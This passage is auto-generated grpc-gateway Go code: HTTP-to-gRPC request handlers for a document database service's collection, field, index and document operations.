runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq UpdateCollectionRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tvar (\n\t\tval string\n\t\tok  bool\n\t\terr error\n\t\t_   = err\n\t)\n\n\tval, ok = pathParams[\"name\"]\n\tif !ok {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"missing parameter %s\", \"name\")\n\t}\n\n\tprotoReq.Name, err = runtime.String(val)\n\n\tif err != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"type mismatch, parameter: %s, error: %v\", \"name\", err)\n\t}\n\n\tmsg, err := server.UpdateCollection(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\nfunc request_DocumentService_DeleteCollection_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq DeleteCollectionRequest\n\tvar metadata runtime.ServerMetadata\n\n\tvar (\n\t\tval string\n\t\tok  bool\n\t\terr error\n\t\t_   = err\n\t)\n\n\tval, ok = pathParams[\"name\"]\n\tif !ok {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"missing parameter %s\", \"name\")\n\t}\n\n\tprotoReq.Name, err = runtime.String(val)\n\n\tif err != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"type mismatch, parameter: %s, error: %v\", \"name\", err)\n\t}\n\n\tmsg, err := client.DeleteCollection(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_DocumentService_DeleteCollection_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq DeleteCollectionRequest\n\tvar metadata runtime.ServerMetadata\n\n\tvar (\n\t\tval string\n\t\tok  bool\n\t\terr error\n\t\t_   = err\n\t)\n\n\tval, ok = pathParams[\"name\"]\n\tif !ok {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"missing parameter %s\", \"name\")\n\t}\n\n\tprotoReq.Name, err = runtime.String(val)\n\n\tif err != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"type mismatch, parameter: %s, error: %v\", \"name\", err)\n\t}\n\n\tmsg, err := server.DeleteCollection(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\nfunc request_DocumentService_AddField_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq AddFieldRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tvar (\n\t\tval string\n\t\tok  bool\n\t\terr error\n\t\t_   = err\n\t)\n\n\tval, ok = pathParams[\"collectionName\"]\n\tif !ok {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"missing parameter %s\", \"collectionName\")\n\t}\n\n\tprotoReq.CollectionName, err = runtime.String(val)\n\n\tif err != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"type mismatch, parameter: %s, error: %v\", \"collectionName\", err)\n\t}\n\n\tmsg, err := client.AddField(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_DocumentService_AddField_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq AddFieldRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tvar (\n\t\tval string\n\t\tok  bool\n\t\terr error\n\t\t_   = err\n\t)\n\n\tval, ok = pathParams[\"collectionName\"]\n\tif !ok {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"missing parameter %s\", \"collectionName\")\n\t}\n\n\tprotoReq.CollectionName, err = runtime.String(val)\n\n\tif err != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"type mismatch, parameter: %s, error: %v\", \"collectionName\", err)\n\t}\n\n\tmsg, err := server.AddField(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\nfunc request_DocumentService_RemoveField_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq RemoveFieldRequest\n\tvar metadata runtime.ServerMetadata\n\n\tvar (\n\t\tval string\n\t\tok  bool\n\t\terr error\n\t\t_   = err\n\t)\n\n\tval, ok = pathParams[\"collectionName\"]\n\tif !ok {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"missing parameter %s\", \"collectionName\")\n\t}\n\n\tprotoReq.CollectionName, err = runtime.String(val)\n\n\tif err != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"type mismatch, parameter: %s, error: %v\", \"collectionName\", err)\n\t}\n\n\tval, ok = pathParams[\"fieldName\"]\n\tif !ok {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"missing parameter %s\", \"fieldName\")\n\t}\n\n\tprotoReq.FieldName, err = runtime.String(val)\n\n\tif err != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"type mismatch, parameter: %s, error: %v\", \"fieldName\", err)\n\t}\n\n\tmsg, err := client.RemoveField(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_DocumentService_RemoveField_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq RemoveFieldRequest\n\tvar metadata runtime.ServerMetadata\n\n\tvar (\n\t\tval string\n\t\tok  bool\n\t\terr error\n\t\t_   = err\n\t)\n\n\tval, ok = pathParams[\"collectionName\"]\n\tif !ok {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"missing parameter %s\", \"collectionName\")\n\t}\n\n\tprotoReq.CollectionName, err = runtime.String(val)\n\n\tif err != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"type mismatch, parameter: %s, error: %v\", \"collectionName\", err)\n\t}\n\n\tval, ok = pathParams[\"fieldName\"]\n\tif !ok {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"missing parameter %s\", \"fieldName\")\n\t}\n\n\tprotoReq.FieldName, err = runtime.String(val)\n\n\tif err != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"type mismatch, parameter: %s, error: %v\", \"fieldName\", err)\n\t}\n\n\tmsg, err := server.RemoveField(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\nfunc request_DocumentService_CreateIndex_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq CreateIndexRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tvar (\n\t\tval string\n\t\tok  bool\n\t\terr error\n\t\t_   = err\n\t)\n\n\tval, ok = pathParams[\"collectionName\"]\n\tif !ok {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"missing parameter %s\", \"collectionName\")\n\t}\n\n\tprotoReq.CollectionName, err = runtime.String(val)\n\n\tif err != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"type mismatch, parameter: %s, error: %v\", \"collectionName\", err)\n\t}\n\n\tmsg, err := client.CreateIndex(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_DocumentService_CreateIndex_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq CreateIndexRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tvar (\n\t\tval string\n\t\tok  bool\n\t\terr error\n\t\t_   = err\n\t)\n\n\tval, ok = pathParams[\"collectionName\"]\n\tif !ok {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"missing parameter %s\", \"collectionName\")\n\t}\n\n\tprotoReq.CollectionName, err = runtime.String(val)\n\n\tif err != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"type mismatch, parameter: %s, error: %v\", \"collectionName\", err)\n\t}\n\n\tmsg, err := server.CreateIndex(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\nvar (\n\tfilter_DocumentService_DeleteIndex_0 = &utilities.DoubleArray{Encoding: map[string]int{\"collectionName\": 0}, Base: []int{1, 1, 0}, Check: []int{0, 1, 2}}\n)\n\nfunc request_DocumentService_DeleteIndex_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq DeleteIndexRequest\n\tvar metadata runtime.ServerMetadata\n\n\tvar (\n\t\tval string\n\t\tok  bool\n\t\terr error\n\t\t_   = err\n\t)\n\n\tval, ok = pathParams[\"collectionName\"]\n\tif !ok {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"missing parameter %s\", \"collectionName\")\n\t}\n\n\tprotoReq.CollectionName, err = runtime.String(val)\n\n\tif err != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"type mismatch, parameter: %s, error: %v\", \"collectionName\", err)\n\t}\n\n\tif err := req.ParseForm(); err != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\tif err := runtime.PopulateQueryParameters(&protoReq, req.Form, filter_DocumentService_DeleteIndex_0); err != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := client.DeleteIndex(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_DocumentService_DeleteIndex_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq DeleteIndexRequest\n\tvar metadata runtime.ServerMetadata\n\n\tvar (\n\t\tval string\n\t\tok  bool\n\t\terr error\n\t\t_   = err\n\t)\n\n\tval, ok = pathParams[\"collectionName\"]\n\tif !ok {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"missing parameter %s\", \"collectionName\")\n\t}\n\n\tprotoReq.CollectionName, err = runtime.String(val)\n\n\tif err != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"type mismatch, parameter: %s, error: %v\", \"collectionName\", err)\n\t}\n\n\tif err := req.ParseForm(); err != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\tif err := runtime.PopulateQueryParameters(&protoReq, req.Form, filter_DocumentService_DeleteIndex_0); err != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := server.DeleteIndex(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\nfunc request_DocumentService_InsertDocuments_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq InsertDocumentsRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tvar (\n\t\tval string\n\t\tok  bool\n\t\terr error\n\t\t_   = err\n\t)\n\n\tval, ok = pathParams[\"collectionName\"]\n\tif !ok {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"missing parameter %s\", \"collectionName\")\n\t}\n\n\tprotoReq.CollectionName, err = runtime.String(val)\n\n\tif err != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"type mismatch, parameter: %s, error: %v\", \"collectionName\", err)\n\t}\n\n\tmsg, err := client.InsertDocuments(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_DocumentService_InsertDocuments_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq InsertDocumentsRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tvar (\n\t\tval string\n\t\tok  bool\n\t\terr error\n\t\t_   = err\n\t)\n\n\tval, ok = pathParams[\"collectionName\"]\n\tif !ok {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"missing parameter %s\", \"collectionName\")\n\t}\n\n\tprotoReq.CollectionName, err = runtime.String(val)\n\n\tif err != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"type mismatch, parameter: %s, error: %v\", \"collectionName\", err)\n\t}\n\n\tmsg, err := server.InsertDocuments(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\nfunc request_DocumentService_ReplaceDocuments_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq ReplaceDocumentsRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tvar (\n\t\tval string\n\t\tok  bool\n\t\terr error\n\t\t_   = err\n\t)\n\n\tval, ok = pathParams[\"query.collectionName\"]\n\tif !ok {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"missing parameter %s\", \"query.collectionName\")\n\t}\n\n\terr = runtime.PopulateFieldFromPath(&protoReq, \"query.collectionName\", val)\n\n\tif err != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"type mismatch, parameter: %s, error: %v\", \"query.collectionName\", err)\n\t}\n\n\tmsg, err := client.ReplaceDocuments(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_DocumentService_ReplaceDocuments_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq ReplaceDocumentsRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tvar (\n\t\tval string\n\t\tok  bool\n\t\terr error\n\t\t_   = err\n\t)\n\n\tval, ok = pathParams[\"query.collectionName\"]\n\tif !ok {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"missing parameter %s\", \"query.collectionName\")\n\t}\n\n\terr = runtime.PopulateFieldFromPath(&protoReq, \"query.collectionName\", val)\n\n\tif err != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"type mismatch, parameter: %s, error: %v\", \"query.collectionName\", err)\n\t}\n\n\tmsg, err := server.ReplaceDocuments(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\nfunc request_DocumentService_DeleteDocuments_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq DeleteDocumentsRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tvar (\n\t\tval string\n\t\tok  bool\n\t\terr error\n\t\t_   = err\n\t)\n\n\tval, ok = pathParams[\"query.collectionName\"]\n\tif !ok {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"missing parameter %s\", \"query.collectionName\")\n\t}\n\n\terr = runtime.PopulateFieldFromPath(&protoReq, \"query.collectionName\", val)\n\n\tif err != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"type mismatch, parameter: %s, error: %v\", \"query.collectionName\", err)\n\t}\n\n\tmsg, err := client.DeleteDocuments(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_DocumentService_DeleteDocuments_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq DeleteDocumentsRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tvar (\n\t\tval string\n\t\tok  bool\n\t\terr error\n\t\t_   = err\n\t)\n\n\tval, ok = pathParams[\"query.collectionName\"]\n\tif !ok {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"missing parameter %s\", \"query.collectionName\")\n\t}\n\n\terr = runtime.PopulateFieldFromPath(&protoReq, \"query.collectionName\", val)\n\n\tif err != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"type mismatch, parameter: %s, error: %v\", \"query.collectionName\", err)\n\t}\n\n\tmsg, err := server.DeleteDocuments(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\nfunc request_DocumentService_SearchDocuments_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq SearchDocumentsRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tvar (\n\t\tval string\n\t\tok  bool\n\t\terr error\n\t\t_   = err\n\t)\n\n\tval, ok = pathParams[\"query.collectionName\"]\n\tif !ok {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"missing parameter %s\", \"query.collectionName\")\n\t}\n\n\terr = runtime.PopulateFieldFromPath(&protoReq, \"query.collectionName\", val)\n\n\tif err != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"type mismatch, parameter: %s, error: %v\", \"query.collectionName\", err)\n\t}\n\n\tmsg, err := client.SearchDocuments(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_DocumentService_SearchDocuments_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq SearchDocumentsRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tvar (\n\t\tval string\n\t\tok  bool\n\t\terr error\n\t\t_   = err\n\t)\n\n\tval, ok = pathParams[\"query.collectionName\"]\n\tif !ok {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"missing parameter %s\", \"query.collectionName\")\n\t}\n\n\terr = runtime.PopulateFieldFromPath(&protoReq, \"query.collectionName\", val)\n\n\tif err != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"type mismatch, parameter: %s, error: %v\", \"query.collectionName\", err)\n\t}\n\n\tmsg, err := server.SearchDocuments(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\nfunc request_DocumentService_SearchDocuments_1(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq SearchDocumentsRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tvar (\n\t\tval string\n\t\tok  bool\n\t\terr error\n\t\t_   = err\n\t)\n\n\tval, ok = pathParams[\"searchId\"]\n\tif !ok {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"missing parameter %s\", \"searchId\")\n\t}\n\n\tprotoReq.SearchId, err = runtime.String(val)\n\n\tif err != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"type mismatch, parameter: %s, error: %v\", \"searchId\", err)\n\t}\n\n\tmsg, err := client.SearchDocuments(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_DocumentService_SearchDocuments_1(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq SearchDocumentsRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tvar (\n\t\tval string\n\t\tok  bool\n\t\terr error\n\t\t_   = err\n\t)\n\n\tval, ok = pathParams[\"searchId\"]\n\tif !ok {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"missing parameter %s\", \"searchId\")\n\t}\n\n\tprotoReq.SearchId, err = runtime.String(val)\n\n\tif err != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"type mismatch, parameter: %s, error: %v\", \"searchId\", err)\n\t}\n\n\tmsg, err := server.SearchDocuments(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\nfunc request_DocumentService_CountDocuments_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq CountDocumentsRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tvar (\n\t\tval string\n\t\tok  bool\n\t\terr error\n\t\t_   = err\n\t)\n\n\tval, ok = pathParams[\"query.collectionName\"]\n\tif !ok {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"missing parameter %s\", \"query.collectionName\")\n\t}\n\n\terr = runtime.PopulateFieldFromPath(&protoReq, \"query.collectionName\", val)\n\n\tif err != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"type mismatch, parameter: %s, error: %v\", \"query.collectionName\", err)\n\t}\n\n\tmsg, err := client.CountDocuments(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_DocumentService_CountDocuments_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq CountDocumentsRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tvar (\n\t\tval string\n\t\tok  bool\n\t\terr error\n\t\t_   = err\n\t)\n\n\tval, ok = pathParams[\"query.collectionName\"]\n\tif !ok {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"missing parameter %s\", \"query.collectionName\")\n\t}\n\n\terr = runtime.PopulateFieldFromPath(&protoReq, \"query.collectionName\", val)\n\n\tif err != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"type mismatch, parameter: %s, error: %v\", \"query.collectionName\", err)\n\t}\n\n\tmsg, err := server.CountDocuments(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\nfunc request_DocumentService_AuditDocument_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq AuditDocumentRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tvar (\n\t\tval string\n\t\tok  bool\n\t\terr error\n\t\t_   = err\n\t)\n\n\tval, ok = pathParams[\"collectionName\"]\n\tif !ok {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, 